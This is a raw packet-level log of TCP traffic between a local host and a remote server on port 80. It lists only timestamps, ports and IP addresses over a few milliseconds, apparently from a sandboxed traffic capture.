Jul 13, 2021 14:37:55.532540083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532560110 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532608032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532629967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532692909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532715082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532747030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532757998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532830000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532836914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532911062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532932997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532954931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532977104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532989025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533001900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533024073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533041954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533046007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533112049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533128023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533152103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533169985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533181906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533204079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533224106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533231020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533324003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533333063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533379078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533401012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533422947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533458948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533479929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533492088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533500910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533525944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533546925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533549070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533620119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533639908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533641100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533663034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533684015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533704042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533723116 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533725977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533746004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533806086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533869028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533869982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533891916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533931971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533955097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533970118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.533974886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.533997059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534017086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534019947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534035921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534059048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534077883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534096003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534101963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534125090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534157038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534212112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534399986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534621954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534645081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534674883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534697056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534717083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534718990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534771919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534796953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534817934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534852982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534874916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534898996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534919024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.534919024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534944057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534974098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.534992933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535013914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535028934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535034895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535056114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535077095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535098076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535099030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535142899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535166025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535172939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535187960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535207987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535228014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535228968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535248995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535286903 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535346985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535371065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535505056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535530090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535562038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535803080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535825014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535847902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535870075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535891056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535893917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535917997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535938025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535944939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.535959959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535980940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.535999060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536000967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536022902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536043882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536062956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536067963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536091089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536111116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536139011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536149979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536175013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536195040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536197901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536220074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536241055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536259890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536261082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536288977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536313057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536314964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536334991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536355972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536371946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536376953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536432028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536458015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536482096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536504030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536525011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536525965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536547899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536569118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536591053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536604881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536612034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536636114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536659002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536680937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536700010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536700964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536721945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536741018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536757946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536763906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536783934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536807060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536809921 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536830902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536850929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.536860943 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.536912918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537009001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537096977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537158012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537216902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537259102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537318945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537389994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537400007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537426949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537446022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537448883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537471056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537530899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537556887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537606955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537628889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537651062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537674904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537698030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537714005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537719011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537739992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537767887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537779093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537789106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537808895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537831068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537856102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537863970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537878990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537899971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537921906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537941933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537949085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.537965059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537986994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.537990093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538007021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538011074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538033962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538055897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538055897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538075924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538098097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538106918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538120031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538134098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538140059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538161039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538182974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538191080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538208961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538230896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538232088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538254023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538275003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538291931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538294077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538317919 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538317919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538341045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538362026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538378000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538383961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538403034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538407087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538424015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538439989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538445950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538496017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538628101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538650036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538671970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538691044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538691044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538712978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538728952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538844109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538882971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.538928032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.538957119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539011002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539032936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539051056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539073944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539299965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539324045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539345980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539367914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539376020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539388895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539407969 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539413929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539457083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539469004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539490938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539510965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539531946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539539099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539552927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539572001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539577007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539601088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539617062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539619923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539642096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539664030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539685011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539685011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539706945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539720058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539729118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539752007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539755106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539778948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539799929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539808989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539822102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539834023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539843082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539865017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539886951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539889097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539907932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539922953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539932013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539953947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539971113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.539973974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.539997101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540019035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540035009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540038109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540060043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540067911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540081978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540100098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540105104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540128946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540148973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540158033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540179014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540368080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540406942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540452957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540472031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540494919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540537119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540586948 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540790081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540813923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540832996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540858984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540880919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540901899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540916920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540923119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540944099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540951014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.540967941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540991068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.540994883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.541012049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.541033983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.541044950 CEST	49757	80	192.168.2.3	47.254.186.176
